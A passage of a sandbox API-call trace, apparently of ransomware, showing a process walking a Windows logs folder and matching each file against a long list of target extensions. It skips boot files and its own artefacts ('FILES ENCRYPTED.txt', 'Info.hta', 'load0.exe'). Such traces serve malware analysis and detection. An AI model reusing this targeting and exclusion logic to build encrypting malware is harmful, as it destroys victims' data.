(lpString1=".asa", lpString2=".log") returned -1 [0128.781] lstrlenW (lpString=".asc") returned 4 [0128.781] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0128.781] lstrlenW (lpString=".ascx") returned 5 [0128.781] lstrcmpiW (lpString1=".ascx", lpString2="6.log") returned -1 [0128.781] lstrlenW (lpString=".asm") returned 4 [0128.781] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0128.781] lstrlenW (lpString=".asmx") returned 5 [0128.781] lstrcmpiW (lpString1=".asmx", lpString2="6.log") returned -1 [0128.781] lstrlenW (lpString=".asp") returned 4 [0128.781] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0128.781] lstrlenW (lpString=".aspx") returned 5 [0128.781] lstrcmpiW (lpString1=".aspx", lpString2="6.log") returned -1 [0128.781] lstrlenW (lpString=".asr") returned 4 [0128.781] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".asx") returned 4 [0128.782] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".avi") returned 4 [0128.782] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".avs") returned 4 [0128.782] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".backup") returned 7 [0128.782] lstrcmpiW (lpString1=".backup", lpString2="766.log") returned -1 [0128.782] lstrlenW (lpString=".bak") returned 4 [0128.782] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".bay") returned 4 [0128.782] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".bd") returned 3 [0128.782] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0128.782] lstrlenW (lpString=".bin") returned 4 [0128.782] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".bmp") returned 4 [0128.782] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".bz2") returned 4 [0128.782] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".c") returned 2 [0128.782] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0128.782] lstrlenW (lpString=".cdr") returned 4 [0128.782] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".cer") returned 4 [0128.782] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".cf") returned 3 [0128.782] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0128.782] lstrlenW (lpString=".cfc") returned 4 [0128.782] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0128.782] lstrlenW (lpString=".cfm") returned 4 [0128.783] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".cfml") returned 5 [0128.783] lstrcmpiW (lpString1=".cfml", lpString2="6.log") returned -1 [0128.783] lstrlenW (lpString=".cfu") returned 4 [0128.783] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".chm") returned 4 [0128.783] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".cin") returned 4 [0128.783] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".class") returned 6 [0128.783] lstrcmpiW (lpString1=".class", lpString2="66.log") returned -1 [0128.783] lstrlenW (lpString=".clx") returned 4 [0128.783] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".config") returned 7 [0128.783] lstrcmpiW (lpString1=".config", lpString2="766.log") returned -1 [0128.783] lstrlenW (lpString=".cpp") returned 4 [0128.783] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".cr2") returned 4 [0128.783] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".crt") returned 4 [0128.783] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".crw") returned 4 [0128.783] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".cs") returned 3 [0128.783] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0128.783] lstrlenW (lpString=".css") returned 4 [0128.783] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".csv") returned 4 [0128.783] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".cub") returned 4 [0128.783] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0128.783] lstrlenW (lpString=".dae") returned 4 [0128.784] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".dat") returned 4 [0128.784] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".db") returned 3 [0128.784] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0128.784] lstrlenW (lpString=".dbf") returned 4 [0128.784] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".dbx") returned 4 [0128.784] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".dc3") returned 4 [0128.784] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".dcm") returned 4 [0128.784] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".dcr") returned 4 [0128.784] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".der") returned 4 [0128.784] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".dib") returned 4 [0128.784] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".dic") returned 4 [0128.784] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".dif") returned 4 [0128.784] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".divx") returned 5 [0128.784] lstrcmpiW (lpString1=".divx", lpString2="6.log") returned -1 [0128.784] lstrlenW (lpString=".djvu") returned 5 [0128.784] lstrcmpiW (lpString1=".djvu", lpString2="6.log") returned -1 [0128.784] lstrlenW (lpString=".dng") returned 4 [0128.784] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0128.784] lstrlenW (lpString=".doc") returned 4 [0128.785] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0128.785] lstrlenW (lpString=".docm") returned 5 [0128.785] lstrcmpiW (lpString1=".docm", lpString2="6.log") returned -1 [0128.785] lstrlenW (lpString=".docx") returned 5 [0128.785] lstrcmpiW (lpString1=".docx", lpString2="6.log") returned -1 [0128.785] lstrlenW (lpString=".dot") returned 4 [0128.785] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0128.785] lstrlenW (lpString=".dotm") returned 5 [0128.785] lstrcmpiW (lpString1=".dotm", lpString2="6.log") returned -1 [0128.785] lstrlenW (lpString=".dotx") returned 5 [0128.785] lstrcmpiW (lpString1=".dotx", lpString2="6.log") returned -1 [0128.785] lstrlenW (lpString=".dpx") returned 4 [0128.785] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0128.785] lstrlenW (lpString=".dqy") returned 4 [0128.785] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0128.785] lstrlenW (lpString=".dsn") returned 4 [0128.785] lstrcmpiW (lpString1=".dsn", lpString2=".log") returned -1 [0128.785] lstrlenW (lpString=".dt") returned 3 [0128.785] lstrcmpiW (lpString1=".dt", lpString2="log") returned -1 [0128.785] lstrlenW (lpString=".dtd") returned 4 [0128.785] lstrcmpiW (lpString1=".dtd", lpString2=".log") returned -1 [0128.785] lstrlenW (lpString=".dwg") returned 4 [0128.785] lstrcmpiW (lpString1=".dwg", lpString2=".log") returned -1 [0128.785] lstrlenW (lpString=".dwt") returned 4 [0128.785] lstrcmpiW (lpString1=".dwt", lpString2=".log") returned -1 [0128.785] lstrlenW (lpString=".dx") returned 3 [0128.785] lstrcmpiW (lpString1=".dx", lpString2="log") returned -1 [0128.785] lstrlenW (lpString=".dxf") returned 4 [0128.785] lstrcmpiW (lpString1=".dxf", lpString2=".log") returned -1 [0128.785] lstrlenW (lpString=".edml") returned 5 [0128.785] lstrcmpiW (lpString1=".edml", lpString2="6.log") returned -1 [0128.786] lstrlenW (lpString=".efd") returned 4 [0128.786] lstrcmpiW (lpString1=".efd", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".elf") returned 4 [0128.786] lstrcmpiW (lpString1=".elf", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".emf") returned 4 [0128.786] lstrcmpiW (lpString1=".emf", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".emz") returned 4 [0128.786] lstrcmpiW (lpString1=".emz", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".epf") returned 4 [0128.786] lstrcmpiW (lpString1=".epf", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".eps") returned 4 [0128.786] lstrcmpiW (lpString1=".eps", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".epsf") returned 5 [0128.786] lstrcmpiW (lpString1=".epsf", lpString2="6.log") returned -1 [0128.786] lstrlenW (lpString=".epsp") returned 5 [0128.786] lstrcmpiW (lpString1=".epsp", lpString2="6.log") returned -1 [0128.786] lstrlenW (lpString=".erf") returned 4 [0128.786] lstrcmpiW (lpString1=".erf", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".exr") returned 4 [0128.786] lstrcmpiW (lpString1=".exr", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".f4v") returned 4 [0128.786] lstrcmpiW (lpString1=".f4v", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".fido") returned 5 [0128.786] lstrcmpiW (lpString1=".fido", lpString2="6.log") returned -1 [0128.786] lstrlenW (lpString=".flm") returned 4 [0128.786] lstrcmpiW (lpString1=".flm", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".flv") returned 4 [0128.786] lstrcmpiW (lpString1=".flv", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".frm") returned 4 [0128.786] lstrcmpiW (lpString1=".frm", lpString2=".log") returned -1 [0128.786] lstrlenW (lpString=".fxg") returned 4 [0128.786] lstrcmpiW (lpString1=".fxg", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".geo") returned 4 [0128.787] lstrcmpiW (lpString1=".geo", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".gif") returned 4 [0128.787] lstrcmpiW (lpString1=".gif", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".grs") returned 4 [0128.787] lstrcmpiW (lpString1=".grs", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".gz") returned 3 [0128.787] lstrcmpiW (lpString1=".gz", lpString2="log") returned -1 [0128.787] lstrlenW (lpString=".h") returned 2 [0128.787] lstrcmpiW (lpString1=".h", lpString2="og") returned -1 [0128.787] lstrlenW (lpString=".hdr") returned 4 [0128.787] lstrcmpiW (lpString1=".hdr", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".hpp") returned 4 [0128.787] lstrcmpiW (lpString1=".hpp", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".hta") returned 4 [0128.787] lstrcmpiW (lpString1=".hta", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".htc") returned 4 [0128.787] lstrcmpiW (lpString1=".htc", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".htm") returned 4 [0128.787] lstrcmpiW (lpString1=".htm", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".html") returned 5 [0128.787] lstrcmpiW (lpString1=".html", lpString2="6.log") returned -1 [0128.787] lstrlenW (lpString=".icb") returned 4 [0128.787] lstrcmpiW (lpString1=".icb", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".ics") returned 4 [0128.787] lstrcmpiW (lpString1=".ics", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".iff") returned 4 [0128.787] lstrcmpiW (lpString1=".iff", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".inc") returned 4 [0128.787] lstrcmpiW (lpString1=".inc", lpString2=".log") returned -1 [0128.787] lstrlenW (lpString=".indd") returned 5 [0128.788] lstrcmpiW (lpString1=".indd", lpString2="6.log") returned -1 [0128.788] lstrlenW (lpString=".ini") returned 4 [0128.788] lstrcmpiW (lpString1=".ini", lpString2=".log") returned -1 [0128.788] lstrlenW (lpString=".iqy") returned 4 [0128.788] lstrcmpiW (lpString1=".iqy", lpString2=".log") returned -1 [0128.788] lstrlenW (lpString=".j2c") returned 4 [0128.788] lstrcmpiW (lpString1=".j2c", lpString2=".log") returned -1 [0128.788] lstrlenW (lpString=".j2k") returned 4 [0128.788] lstrcmpiW (lpString1=".j2k", lpString2=".log") returned -1 [0128.788] lstrlenW (lpString=".java") returned 5 [0128.788] lstrcmpiW (lpString1=".java", lpString2="6.log") returned -1 [0128.788] lstrlenW (lpString=".jp2") returned 4 [0128.788] lstrcmpiW (lpString1=".jp2", lpString2=".log") returned -1 [0128.788] lstrlenW (lpString=".jpc") returned 4 [0128.788] lstrcmpiW (lpString1=".jpc", lpString2=".log") returned -1 [0128.788] lstrlenW (lpString=".jpe") returned 4 [0128.788] lstrcmpiW (lpString1=".jpe", lpString2=".log") returned -1 [0128.788] lstrlenW (lpString=".jpeg") returned 5 [0128.788] lstrcmpiW (lpString1=".jpeg", lpString2="6.log") returned -1 [0128.788] lstrlenW (lpString=".jpf") returned 4 [0128.788] lstrcmpiW (lpString1=".jpf", lpString2=".log") returned -1 [0128.788] lstrlenW (lpString=".jpg") returned 4 [0128.788] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0128.788] lstrlenW (lpString=".jpx") returned 4 [0128.788] lstrcmpiW (lpString1=".jpx", lpString2=".log") returned -1 [0128.788] lstrlenW (lpString=".js") returned 3 [0128.788] lstrcmpiW (lpString1=".js", lpString2="log") returned -1 [0128.788] lstrlenW (lpString=".jsf") returned 4 [0128.788] lstrcmpiW (lpString1=".jsf", lpString2=".log") returned -1 [0128.788] lstrlenW (lpString=".json") returned 5 [0128.788] lstrcmpiW (lpString1=".json", lpString2="6.log") returned -1 [0128.788] lstrlenW (lpString=".jsp") returned 4 [0128.789] lstrcmpiW (lpString1=".jsp", lpString2=".log") returned -1 [0128.789] lstrlenW (lpString=".kdc") returned 4 [0128.789] lstrcmpiW (lpString1=".kdc", lpString2=".log") returned -1 [0128.789] lstrlenW (lpString=".kmz") returned 4 [0128.789] lstrcmpiW (lpString1=".kmz", lpString2=".log") returned -1 [0128.789] lstrlenW (lpString=".kwm") returned 4 [0128.789] lstrcmpiW (lpString1=".kwm", lpString2=".log") returned -1 [0128.789] lstrlenW (lpString=".lasso") returned 6 [0128.789] lstrcmpiW (lpString1=".lasso", lpString2="66.log") returned -1 [0128.789] lstrlenW (lpString=".lbi") returned 4 [0128.789] lstrcmpiW (lpString1=".lbi", lpString2=".log") returned -1 [0128.789] lstrlenW (lpString=".lgf") returned 4 [0128.789] lstrcmpiW (lpString1=".lgf", lpString2=".log") returned -1 [0128.789] lstrlenW (lpString=".lgp") returned 4 [0128.789] lstrcmpiW (lpString1=".lgp", lpString2=".log") returned -1 [0128.789] lstrlenW (lpString=".log") returned 4 [0128.789] lstrcmpiW (lpString1=".log", lpString2=".log") returned 0 [0128.789] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0128.789] lstrlenW (lpString=".com") returned 4 [0128.789] lstrcmpiW (lpString1=".com", lpString2=".log") returned -1 [0128.789] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log") returned 37 [0128.789] lstrcmpiW (lpString1="boot.ini", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0128.789] lstrcmpiW (lpString1="bootfont.bin", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned -1 [0128.789] lstrcmpiW (lpString1="ntldr", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0128.789] lstrcmpiW (lpString1="ntdetect.com", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0128.789] lstrcmpiW (lpString1="io.sys", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0128.789] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0128.789] lstrcmpiW (lpString1="Info.hta", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0128.790] lstrcmpiW (lpString1="load0.exe", lpString2="downlevel_2017_09_07_02_02_39_766.log") returned 1 [0128.790] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\downlevel_2017_09_07_02_02_39_766.log") returned 57 [0128.790] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x973abb0f, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x973abb0f, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x980eecb6, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1774, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log", cAlternateFileName="OOBE_2~1.LOG")) returned 1 [0128.790] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0128.790] lstrlenW (lpString=".1cd") returned 4 [0128.790] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0128.790] lstrlenW (lpString=".3ds") returned 4 [0128.790] lstrcmpiW (lpString1=".3ds", lpString2=".log") returned -1 [0128.790] lstrlenW (lpString=".3fr") returned 4 [0128.790] lstrcmpiW (lpString1=".3fr", lpString2=".log") returned -1 [0128.790] lstrlenW (lpString=".3g2") returned 4 [0128.790] lstrcmpiW (lpString1=".3g2", lpString2=".log") returned -1 [0128.790] lstrlenW (lpString=".3gp") returned 4 [0128.790] lstrcmpiW (lpString1=".3gp", lpString2=".log") returned -1 [0128.790] lstrlenW (lpString=".7z") returned 3 [0128.790] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0128.790] lstrlenW (lpString=".accda") returned 6 [0128.790] lstrcmpiW (lpString1=".accda", lpString2="37.log") returned -1 [0128.790] lstrlenW (lpString=".accdb") returned 6 [0128.790] lstrcmpiW (lpString1=".accdb", lpString2="37.log") returned -1 [0128.790] lstrlenW (lpString=".accdc") returned 6 [0128.790] lstrcmpiW (lpString1=".accdc", lpString2="37.log") returned -1 [0128.790] lstrlenW (lpString=".accde") returned 6 [0128.790] lstrcmpiW (lpString1=".accde", lpString2="37.log") returned -1 [0128.790] lstrlenW (lpString=".accdt") returned 6 [0128.790] lstrcmpiW (lpString1=".accdt", lpString2="37.log") returned -1 [0128.790] lstrlenW (lpString=".accdw") returned 6 [0128.790] lstrcmpiW (lpString1=".accdw", lpString2="37.log") returned -1 [0128.791] lstrlenW (lpString=".adb") returned 4 [0128.791] lstrcmpiW (lpString1=".adb", lpString2=".log") returned -1 [0128.791] lstrlenW (lpString=".adp") returned 4 [0128.791] lstrcmpiW (lpString1=".adp", lpString2=".log") returned -1 [0128.791] lstrlenW (lpString=".ai") returned 3 [0128.791] lstrcmpiW (lpString1=".ai", lpString2="log") returned -1 [0128.791] lstrlenW (lpString=".ai3") returned 4 [0128.791] lstrcmpiW (lpString1=".ai3", lpString2=".log") returned -1 [0128.791] lstrlenW (lpString=".ai4") returned 4 [0128.791] lstrcmpiW (lpString1=".ai4", lpString2=".log") returned -1 [0128.791] lstrlenW (lpString=".ai5") returned 4 [0128.791] lstrcmpiW (lpString1=".ai5", lpString2=".log") returned -1 [0128.791] lstrlenW (lpString=".ai6") returned 4 [0128.791] lstrcmpiW (lpString1=".ai6", lpString2=".log") returned -1 [0128.791] lstrlenW (lpString=".ai7") returned 4 [0128.791] lstrcmpiW (lpString1=".ai7", lpString2=".log") returned -1 [0128.791] lstrlenW (lpString=".ai8") returned 4 [0128.791] lstrcmpiW (lpString1=".ai8", lpString2=".log") returned -1 [0128.791] lstrlenW (lpString=".anim") returned 5 [0128.791] lstrcmpiW (lpString1=".anim", lpString2="7.log") returned -1 [0128.791] lstrlenW (lpString=".arw") returned 4 [0128.791] lstrcmpiW (lpString1=".arw", lpString2=".log") returned -1 [0128.791] lstrlenW (lpString=".as") returned 3 [0128.791] lstrcmpiW (lpString1=".as", lpString2="log") returned -1 [0128.791] lstrlenW (lpString=".asa") returned 4 [0128.791] lstrcmpiW (lpString1=".asa", lpString2=".log") returned -1 [0128.791] lstrlenW (lpString=".asc") returned 4 [0128.791] lstrcmpiW (lpString1=".asc", lpString2=".log") returned -1 [0128.791] lstrlenW (lpString=".ascx") returned 5 [0128.791] lstrcmpiW (lpString1=".ascx", lpString2="7.log") returned -1 [0128.791] lstrlenW (lpString=".asm") returned 4 [0128.792] lstrcmpiW (lpString1=".asm", lpString2=".log") returned -1 [0128.792] lstrlenW (lpString=".asmx") returned 5 [0128.792] lstrcmpiW (lpString1=".asmx", lpString2="7.log") returned -1 [0128.792] lstrlenW (lpString=".asp") returned 4 [0128.792] lstrcmpiW (lpString1=".asp", lpString2=".log") returned -1 [0128.792] lstrlenW (lpString=".aspx") returned 5 [0128.792] lstrcmpiW (lpString1=".aspx", lpString2="7.log") returned -1 [0128.792] lstrlenW (lpString=".asr") returned 4 [0128.792] lstrcmpiW (lpString1=".asr", lpString2=".log") returned -1 [0128.792] lstrlenW (lpString=".asx") returned 4 [0128.792] lstrcmpiW (lpString1=".asx", lpString2=".log") returned -1 [0128.792] lstrlenW (lpString=".avi") returned 4 [0128.792] lstrcmpiW (lpString1=".avi", lpString2=".log") returned -1 [0128.792] lstrlenW (lpString=".avs") returned 4 [0128.792] lstrcmpiW (lpString1=".avs", lpString2=".log") returned -1 [0128.792] lstrlenW (lpString=".backup") returned 7 [0128.792] lstrcmpiW (lpString1=".backup", lpString2="737.log") returned -1 [0128.792] lstrlenW (lpString=".bak") returned 4 [0128.792] lstrcmpiW (lpString1=".bak", lpString2=".log") returned -1 [0128.792] lstrlenW (lpString=".bay") returned 4 [0128.792] lstrcmpiW (lpString1=".bay", lpString2=".log") returned -1 [0128.792] lstrlenW (lpString=".bd") returned 3 [0128.792] lstrcmpiW (lpString1=".bd", lpString2="log") returned -1 [0128.792] lstrlenW (lpString=".bin") returned 4 [0128.792] lstrcmpiW (lpString1=".bin", lpString2=".log") returned -1 [0128.792] lstrlenW (lpString=".bmp") returned 4 [0128.792] lstrcmpiW (lpString1=".bmp", lpString2=".log") returned -1 [0128.792] lstrlenW (lpString=".bz2") returned 4 [0128.792] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0128.792] lstrlenW (lpString=".c") returned 2 [0128.792] lstrcmpiW (lpString1=".c", lpString2="og") returned -1 [0128.793] lstrlenW (lpString=".cdr") returned 4 [0128.793] lstrcmpiW (lpString1=".cdr", lpString2=".log") returned -1 [0128.793] lstrlenW (lpString=".cer") returned 4 [0128.793] lstrcmpiW (lpString1=".cer", lpString2=".log") returned -1 [0128.793] lstrlenW (lpString=".cf") returned 3 [0128.793] lstrcmpiW (lpString1=".cf", lpString2="log") returned -1 [0128.793] lstrlenW (lpString=".cfc") returned 4 [0128.793] lstrcmpiW (lpString1=".cfc", lpString2=".log") returned -1 [0128.793] lstrlenW (lpString=".cfm") returned 4 [0128.793] lstrcmpiW (lpString1=".cfm", lpString2=".log") returned -1 [0128.793] lstrlenW (lpString=".cfml") returned 5 [0128.793] lstrcmpiW (lpString1=".cfml", lpString2="7.log") returned -1 [0128.793] lstrlenW (lpString=".cfu") returned 4 [0128.793] lstrcmpiW (lpString1=".cfu", lpString2=".log") returned -1 [0128.793] lstrlenW (lpString=".chm") returned 4 [0128.793] lstrcmpiW (lpString1=".chm", lpString2=".log") returned -1 [0128.793] lstrlenW (lpString=".cin") returned 4 [0128.793] lstrcmpiW (lpString1=".cin", lpString2=".log") returned -1 [0128.793] lstrlenW (lpString=".class") returned 6 [0128.793] lstrcmpiW (lpString1=".class", lpString2="37.log") returned -1 [0128.793] lstrlenW (lpString=".clx") returned 4 [0128.793] lstrcmpiW (lpString1=".clx", lpString2=".log") returned -1 [0128.793] lstrlenW (lpString=".config") returned 7 [0128.793] lstrcmpiW (lpString1=".config", lpString2="737.log") returned -1 [0128.793] lstrlenW (lpString=".cpp") returned 4 [0128.793] lstrcmpiW (lpString1=".cpp", lpString2=".log") returned -1 [0128.793] lstrlenW (lpString=".cr2") returned 4 [0128.793] lstrcmpiW (lpString1=".cr2", lpString2=".log") returned -1 [0128.793] lstrlenW (lpString=".crt") returned 4 [0128.793] lstrcmpiW (lpString1=".crt", lpString2=".log") returned -1 [0128.793] lstrlenW (lpString=".crw") returned 4 [0128.793] lstrcmpiW (lpString1=".crw", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".cs") returned 3 [0128.794] lstrcmpiW (lpString1=".cs", lpString2="log") returned -1 [0128.794] lstrlenW (lpString=".css") returned 4 [0128.794] lstrcmpiW (lpString1=".css", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".csv") returned 4 [0128.794] lstrcmpiW (lpString1=".csv", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".cub") returned 4 [0128.794] lstrcmpiW (lpString1=".cub", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".dae") returned 4 [0128.794] lstrcmpiW (lpString1=".dae", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".dat") returned 4 [0128.794] lstrcmpiW (lpString1=".dat", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".db") returned 3 [0128.794] lstrcmpiW (lpString1=".db", lpString2="log") returned -1 [0128.794] lstrlenW (lpString=".dbf") returned 4 [0128.794] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".dbx") returned 4 [0128.794] lstrcmpiW (lpString1=".dbx", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".dc3") returned 4 [0128.794] lstrcmpiW (lpString1=".dc3", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".dcm") returned 4 [0128.794] lstrcmpiW (lpString1=".dcm", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".dcr") returned 4 [0128.794] lstrcmpiW (lpString1=".dcr", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".der") returned 4 [0128.794] lstrcmpiW (lpString1=".der", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".dib") returned 4 [0128.794] lstrcmpiW (lpString1=".dib", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".dic") returned 4 [0128.794] lstrcmpiW (lpString1=".dic", lpString2=".log") returned -1 [0128.794] lstrlenW (lpString=".dif") returned 4 [0128.795] lstrcmpiW (lpString1=".dif", lpString2=".log") returned -1 [0128.795] lstrlenW (lpString=".divx") returned 5 [0128.795] lstrcmpiW (lpString1=".divx", lpString2="7.log") returned -1 [0128.795] lstrlenW (lpString=".djvu") returned 5 [0128.795] lstrcmpiW (lpString1=".djvu", lpString2="7.log") returned -1 [0128.795] lstrlenW (lpString=".dng") returned 4 [0128.795] lstrcmpiW (lpString1=".dng", lpString2=".log") returned -1 [0128.795] lstrlenW (lpString=".doc") returned 4 [0128.795] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0128.795] lstrlenW (lpString=".docm") returned 5 [0128.795] lstrcmpiW (lpString1=".docm", lpString2="7.log") returned -1 [0128.795] lstrlenW (lpString=".docx") returned 5 [0128.795] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0128.795] lstrlenW (lpString=".dot") returned 4 [0128.795] lstrcmpiW (lpString1=".dot", lpString2=".log") returned -1 [0128.795] lstrlenW (lpString=".dotm") returned 5 [0128.795] lstrcmpiW (lpString1=".dotm", lpString2="7.log") returned -1 [0128.795] lstrlenW (lpString=".dotx") returned 5 [0128.795] lstrcmpiW (lpString1=".dotx", lpString2="7.log") returned -1 [0128.795] lstrlenW (lpString=".dpx") returned 4 [0128.795] lstrcmpiW (lpString1=".dpx", lpString2=".log") returned -1 [0128.795] lstrlenW (lpString=".dqy") returned 4 [0128.795] lstrcmpiW (lpString1=".dqy", lpString2=".log") returned -1 [0128.795] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x9c5a0a89, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xbb3747bd, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log", cAlternateFileName="PARTNE~1.LOG")) returned 1 [0128.795] FindNextFileW (in: hFindFile=0x5bac78, lpFindFileData=0x348f800 | out: lpFindFileData=0x348f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c5a0a89, 